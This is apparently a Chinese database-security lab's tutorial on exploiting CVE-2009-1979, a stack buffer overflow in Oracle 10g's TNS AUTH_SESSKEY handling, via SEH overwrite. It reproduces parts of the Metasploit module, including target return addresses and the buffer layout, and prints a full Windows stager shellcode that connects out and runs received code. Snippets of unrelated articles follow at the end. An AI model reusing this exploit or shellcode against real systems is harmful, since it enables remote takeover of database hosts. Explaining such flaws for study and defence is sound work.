OracleTNS漏洞攻占oracle所在操作系统,进而入侵oracle

背景

随着数据库入侵手段的发展,对数据库的攻击已经不仅仅是针对数据库本身,而是扩展到数据库的各种组建(甚至中间件中)。

TNS(Transparance Network
Substrate)作为ORACLE的核心组件之一,主要负责选择oracle协议配置器,确定一种客户端和服务器都支持的传输协议进行传输。TNS不仅定义了数据库和客户端之间的通讯协议,更负责对客户端进行身份验证(确认客户端所用用户名和密码是否合法)。简单说如果TNS有可利用漏洞则可能直接对Oracle造成入侵。利用TNS入侵oracle基本有3种方式:1.通过劫持TNS信息,把oracle的登录信息劫持到攻击者机器,获取敏感信息,甚至获取oracle管理员账号密码。具体请参考安华金和数据库安全实验室发表的《Oracle数据库漏洞隐患无需user/password快速入侵》一文。2.直接对在TNS中加密的oracle登录密钥进行破解具体请参考安华金和数据库安全实验室发表《见招拆招,破解oracle密码》一文。3.通过缓冲区溢出的方式,在oracle调用异常的TNS参数的时候获取oracle本地操作系统的控制权限。

本文将具体介绍方式3,通过TNS上的缓冲区漏洞入侵oracle所在操作系统。所用例子为CVE-2009-1979。借鉴该漏洞原作者的攻击代码,用metasploit做攻击工具,对一台win2003sp1上的oracle10g2.0.1.0进行攻击。

漏洞说明

CVE-2009-1979(原作者代码http://www.securityfocus.com/archive/1/507598)这个漏洞简单说就是:客户端和服务器确定要使用的验证机制后。进行O3logon验证(该协议是为了客户端向数据库证明客户端拥有合法密钥)每次登录数据库的时候都会走o3logon协议。在这个协议中客户端在获取数据库发来的AUTH_SEKEEY后,会向数据库发送一个对应的AUTH_SEKEEY和AUTH_PASSWORD。oracle10g1.0.5到10.2.04这些版本中客户端发送的AUTH_SEKEEY由于没有对内容的长度进行合理限制。导致成为一个缓冲区溢出的注入点。一个正常的AUTH_SEKEEY长度是64位(如下图所示)。而如果AUTH_SEKEEY长度超过64位则可能修改AUTH_SEKEEY附近的内存变量。导致出现不可预计的结果。

光知道AUTH_SEKEEY存在一个注入点是不够的,还需要进一步了解AUTH_SEKEEY是以什么方式存储在内存中的才可能有针对性的利用这个注入点。由于AUTH_SEKEEY是TNS接收的一个参数所以AUTH_SEKEEY在内存中的存储方式和TNS对消息的存储方式密切相关。客户端发送信息包到达服务器端经历了多个软件层。为了便于理解我们把这个过程做一个简化。从客户端开始信息被传递到客户端本地TNS,客户端本地TNS格式化这个信息,并将它发送给操作系统协议栈。操作系统协议栈通过网络将这个信息传递给服务器的协议栈:接着这个消息被传递给TNS,最终oracle调用TNS中传过来的信息。这个过程可以粗略的看成是在系统栈中进行的。所以可以基本认为CVE-2009-1979是一个缓冲区栈溢出漏洞。利用AUTH_SEKEEY值长度异常进行的栈缓冲区溢出攻击。关于缓冲区栈溢出原理可以参考安华金和数据库安全实验室发表的《windows缓冲区溢出原理(栈)》一文。

代码详解

为了更细致说明这个漏洞的具体机制,直接参考metasploit上关于该漏洞的代码。代码主体结构为:

require ‘msf/core‘

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::TNS

include Msf::Exploit::Remote::Seh

def initialize(info = {})

def check

def exploit

...........

end

其中核心函数只有initialize() 和exploit
两个。initialize主要是用来对漏洞利用的说明。exploit用来真正进行缓冲区溢出攻击。置于其他函数不属于关键函数,所以本文不介绍。

initialize的核心代码为:

‘DefaultOptions‘ =>

{

‘EXITFUNC‘ => ‘seh‘,

},

‘Payload‘       =>

{

‘Space‘   => 0x17e,

‘BadChars‘ => "", # none, thx memcpy!

‘StackAdjustment‘ => -3500,

},

‘Platform‘      => ‘win‘,

‘Targets‘       =>

[

[ ‘Automatic‘, { } ],

[ ‘Oracle 10.2.0.1.0 Enterprise Edition‘,

{

# Untested

‘Ret‘ => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3

}

],

[ ‘Oracle 10.2.0.4.0 Enterprise Edition‘,

{

# Tested OK - 2010-Jan-20 - jduck

‘Ret‘ => 0x01347468 # p/p/r in oracle.exe v10.2.0.3

}

]

],

‘DefaultTarget‘ => 0,

‘DisclosureDate‘ => ‘Oct 20 2009‘))

initialize函数说明该漏洞被利用的条件(图中标红的地方为关键重点)该漏洞被描述为利用缓冲区栈溢出的SEH方式。这里的payload指的单纯是shellcode,而不是整个向注入点中注入的字符串(本文中就是组成AUTH_SESSKEY的值)。其中特别指出了整个栈中可被shellcode覆盖的空间限制为382个字节。badchars是限制用于填充空指令的限制字符。在win2003上对填充字符没有限制(有限制是为了防止填充字符对shellcode造成破坏,每种指令集的填充字符不同。)platform说明需要操作系统为WIN系列。这是因为不同的操作系统栈的结构、对栈缓冲区溢出的保护程度都是不同的(即便同样的操作系统不同的补丁下API基地址也有变化这回对缓冲区攻击造成很大影响)targets是指的可用于攻击的数据库版本号和SEH方法最关键的POP/POP/RET地址。本例中采用的是orcale10.2.0.1.0所以POP/POP/RET地址为0x011b0528。initialize最关键的3个点是:1.指出了shellcode的最大长度。2.指出了对应版本oracle用于SEH的POP/POP/RET地址。3对缓冲区溢出填充字符做了限制,防止sploit
被填充字符破坏。

exploit函数核心代码:

#伪造客户端给数据库发送的前6个包

# build exploit buffer

print_status("Calling kpoauth with long AUTH_SESSKEY ...")

sploit =
payload.encoded                                            1

sploit << rand_text_alphanumeric(0x1aa -
0x17e)                        2

sploit <<
generate_seh_record(mytarget.ret)                            3

distance = payload_space + 0x2D

sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,"jmp$-"+           4

distance.to_s).encode_string

expliot函数主要负责2个任务:

1.伪造oracle客户端给真实的数据库发送包,直至发送到含有AUTH_SESSKEY字符串的数据包为止。下图就是伪造的数据包,exploit伪造的就是IP为10.10.10.128的客户端。10.10.10.130就是要入侵的目标数据库。

2.创建缓冲区溢出的sploit (build exploit
buffer开始的内容),首先给出制造的缓冲区溢出的整体结构: shellcode脚本+随机地址+短跳板+返回地址+长跳板。下面逐行说明:

第一行:sploit = payload.encoded

存入shellcode。这个shellcode的功能是直接获取被攻击机器的操作系统权限。代码如下:

"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B"

"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0"

"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57"

"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01"

"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B"

"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4"

"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B"

"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24"

"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D"

"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07"

"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00"

"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF"

"\xD5\x97\x6A\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6"

"\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF"

"\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56"

"\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00"

"\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56"

"\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75"

"\xEC\xC3"

shellcode简单说就是一段为缓冲区溢出攻击而植入进程的代码,大多数是用汇编语言编写的。shellcode本身根据跳入的方式不同分为jump/call、pop return、push return、jmp[reg+offset]、blind
return、SEH等多种类型。由于本文重点不在讨论shellcode。所以此处略过,以后会补上shellcode专门介绍的文章。本文的shellcode用的是SEH这种方式。

第二行:sploit <<
rand_text_alphanumeric(0x1aa - 0x17e)

生成填满目标地址到源地址之间的随机数。用随机数而不用固定的一串字符,最主要的原因是防止程序被某些防护机制处理而导致实验失败。TNS收到数据后会在oracommon10.dll中的函数kpzgkvl中进行检查。检查后用数据intel_fast_memcpy(这个函数是编译的时候intel对指令对memcpy进行了优化,而产生的代替memcpy的函数)拷贝给oracle处理。同样AUTH_SESSKEY的值也会走这个过程。溢出点就出现在这个拷贝函数中。拷贝的源地址是04AB99A4、目标地址是0x0673dB96(本文出现的所有地址只是作者的win2003sp1上的地址,打上不同补丁的操作系统地址会有变化),而最近的SEH地址为0X0673DD40。地址04AB99A4中存储的AUTH_SESSKEY值通过intel_fast_memcpy拷贝到地址0x0673dB96。对04AB99A4中存储的AUTH_SESSKEY值没有长度判断导致,在拷贝到0x0673dB96后覆盖到0X0673DD40(SEH地址)发生缓冲区溢出。如果想要AUTH_SESSKEY的值从地址0x0673dB96一直覆盖到地址0X0673DD40,则需要考入426(0x1aa)个字符。只有在04AB99A4这个点输入426长度的字符串才有可能。这个漏洞的initialize中指出shellcode空间为382(0x17e)。不满足覆盖需求所以需要用(0x1aa
-
0x17e)个字符来填充保证能覆盖到SEH(0X0673DD40)。为了更清楚说明为什么要覆盖到0X0673DD40,下面说明和本例相关的SEH中的一小部分。

SEH是windows的异常出处理机制。任何程序的异常处理本质上都是安装了SEH。一个线程中允许存在多个SEH。如果一个线程中没有做任何异常处理。windows也会在创建线程的开始通过系统函数来创建一个系统级SEH(当所有的SEH都无法处理异常的时候,最终会调用系统函数处理异常。结果就是弹出一个对话框,并强制关闭程序)。

在一个栈中每个SEH大小为8字节,有2个4字节成员组成,低地址位存储的是指向下一个SEH链表的指针,高地址位存储的是异常处理函数地址。当异常发生时会从TEB(线程环境块)中读取指向SEH链的指针,开始从异常触发地方由近及远逐个访问SEH,如果距离异常触发地方最近的SEH能处理该异常,则由该SEH处理。如果无法处理则沿着SEH链跳向下一个SEH。以此类推直到异常处理。最后一个SEH链的底部是FFFFFFFF。最后一个SEH就是线程开始系统创建的SEH。

缓冲区溢出SEH方式就是利用字符串覆盖掉SEH链中距离,异常触发点最近的SEH。把SEH
handle(0x0673DD44)地址覆盖成pop/pop/ret类型(0x11b0528)。欺骗SEH
handle执行pop/pop/ret,过程红会把pointer to next SEH rerord的地址放入EIP中最终ret会跳出到pointer to
next SEH rerord中。具体过程为:当异常触发的时候,异常会自动自己创建一个栈帧。它会把SEH
handle成员压入新创建的栈帧中。在SEH结构中有一个域是EstablisherFrame。这个域指向异常管理注册记录,pointer to next SEH
rerord的地址被压入栈中,被压入的这个值位于ESP+8的位置。pop/pop/ret串覆盖SEH handle 后第一次pop
弹出栈顶的4bytes,接下来pop继续从栈中弹出4bytes。最后ret将把此时ESP所指栈顶中的值(pointer to next SEH
rerord)放到EIP中。所以被pop/pop/ret覆盖的SEH handle会跳转回pointer to next SEH
rerord。

由于pointer to next SEH rerord被改写成EB 06
+2个随机字符(凑成一行)则会跳过下面被改写的SEH handle。执行SEH
handle后面的内容。如果后面的内容是shellcode或者是指向shellcoded的跳转指针,则跳入shellcode开始执行shellcode。

第三行. sploit <<
generate_seh_record(mytarget.ret)

通过函数generate_seh_record生成2行覆盖pointer to
next SEH rerord的短跳板(包含EB 06、两个随机字符(凑成4字节))和覆盖SEH
handle的返回地址(pop/pop/ret类型的0x11b0528)来完成覆盖SEH跳转到shellcode或下一个跳板的过程。

第四行

sploit<<Metasm::Shellcode.assemble(Metasm::Ia32.new,"jmp$-"+distance.to_s).encode_string

这句是一个长跳板。jmp$-表明是负跳转(由内存低地址跳回内存高地址)设置长跳板位于从pointer to next SEH rerord跳过SEH hande
后,执行长跳板跳回sploit的起始地址,开始执行shellcode。

整个sploit 的结构是
shellcode+随机填充值+短跳板+pop/pop/ret地址+长跳板(跳回最开始的)shellcode。最后把这个值赋给AUTH_SESSKEY,给数据库发送含有AUTH_SESSKEY的包。至此入侵完毕,为了效果更直观,在入侵机上运行脚本打开远程连接直接用
sqlplus / as sysdba 登录被入侵机数据库完成整个攻击。效果如下图所示:

至此漏洞CVE-2009-1979介绍完毕。安华金和数据库安全实验室将在下一篇文章中和大家分享此文中略过的shellcode的分类、用法、范围限制等内容。

时间: 2024-08-29 13:36:24

OracleTNS漏洞攻占oracle所在操作系统,进而入侵oracle的相关文章

Oracle数据库漏洞隐患无需user/password快速入侵

作者:安华金和 思成 摘要 一般性的数据库漏洞,都是在成功连接或登录数据库后实现入侵:本文介绍两个在2012年暴露的Oracle漏洞,通过这两种漏洞的结合,可以在不掌握用户名/密码的情况下入侵Oracle,从而完成对数据的窃取或者破坏. 这两个漏洞就是CVE-2012-1675和CVE-2012-3137. 引言 国内外很多重要的系统都采用Oracle作为数据存储的数据库:在Oracle中存储着企业或政府大量敏感的信息,在金钱或政治的诱导下,内外部黑客会想法利用管理.网络.主机或数据库的自身漏洞

oracle linux6操作系统oracle11.2.0.4数据库从一台主机A(ora11g)到另一台主机B(ora02)的迁移过程

oracle linux6操作系统oracle11.2.0.4数据库从一台主机A(ora11g)到另一台主机B(ora02)的迁移过程 A生成pfile文件并关闭数据库 [[email protected] ~]$ sqlplus /nolog SQL*Plus: Release 11.2.0.4.0 Production on Fri Jan 1 17:25:12 2016 Copyright (c) 1982, 2013, Oracle.  All rights reserved. SQL>

Oracle的操作系统身份认证(转)

oraclelogin数据库远程登录authenticationossqlnet.authentication_services=(NTS),在$ORACLE_HOME/network/admin/sqlnet.ora中NTS特指的是windows系统,或者设为all,这两种情况都允许操作系统认证.如果在unix下如果没有设置sqlnet.authentication_services,默认就是操作系统认证!或者设为all也允许操作系统认证.参数SQLNET.AUTHENTICATION_SER

oracle所在磁盘空间不足导致了数据库异常

oracle所在磁盘空间不足导致了数据库异常.需要减小数据文件的大小来解决. 1.检查数据文件的名称和编号 select file#,name from v$datafile; 2.看哪个数据文件所占的空间最大,根据该数据文件的编号查看该数据文件的最大数据块数 select max(block_id) from dba_extents where file_id=8; 查询结果 3.计算该表空间的实际占用空间.(不是物理文件的大小) 查看每个数据块的大小 show parameter db_bl

Oracle Linux 5.8安装Oracle 10.2.0.5 x64

一.正常方式全新安装 1. oracle安装环境准备 (1) 确认安装以下包 # rpm -q --qf '%{NAME}-%{VERSION}-%{RELEASE}  (%{ARCH})\n' binutils compat-libstdc++-33 compat-gcc-34-c++ elfutils-libelf elfutils-libelf-devel elfutils-libelf-devel-static gcc gcc-c++ glibc glibc-common glibc-d

Oracle 10g R2升级到Oracle 11g R2

Oracle 10g R2升级到Oracle 11g R2 系统环境: 操作系统:RedHat EL55 Oracle 软件: Oracle 10g R2.Oracle 11g R2 Oracle 升级线路 本案例是从Oracle 10.2.0.4.0升级到Oracle 11.2.0.1.0 参考文档: Oracle patch CPU Update: http://tiany.blog.51cto.com/513694/846066 Oracle 10g 升级(10.2.0.1.0升级到10.

RAC分解步骤之一,在oracle linux 4u4上安装oracle 10.2.0.1.0操作日志

练习oracle的rac组建过程,第一步,先练习4u4上安装oracle 10.2.0.1.0.直接安装rac,有些难度.从简单的做起.总RAC步骤,参照小布老师的RAC组建. 1. 启动vc,登陆vsphere 5.1 , 2. 新建一个虚拟机,Redhat 4 32bit 兼容的虚拟机,内存1G,硬盘30G.移除软驱,把光驱选择为ISO镜像文件. 3. 启动虚拟机,选择英文,选择美式键盘,选择custom,选择自己手动分区.分区为2个,一个swap,2100M,强制主分区,另一个为ext3,

oracle linux 4.8安装oracle 10g rac环境之cluster安装

安装环境: 操作系统:oracle linux 4.8 64位 集群软件:10201_clusterware_linux_x86_64.cpio.gz 数据库:10201_database_linux_x86_64.cpio.gz cpu:1颗 内存:必须1.5G以上(一般是2G) 本地磁盘:20G(根分区17G,swap是4G,boot分区是512M) asm下载地址:http://www.oracle.com/technetwork/server-storage/linux/download

oracle系列(二)oracle体系结构和用户管理

博主QQ:819594300 博客地址:http://zpf666.blog.51cto.com/ 有什么疑问的朋友可以联系博主,博主会帮你们解答,谢谢支持! 在使用oracle之前,我们一定要对oracle的体系结构有深入的理解,与之前我们学习过的sqlserver体系结构是不一样的,所以对于我们来说是一个全新的内容. 一.oralce体系结构 1.概述 Oracle的体系结构是数据库的组成,工作过程,以及数据库中数据的组织与管理机制,要了解oracle数据库的体系结构,就必须要理解oracl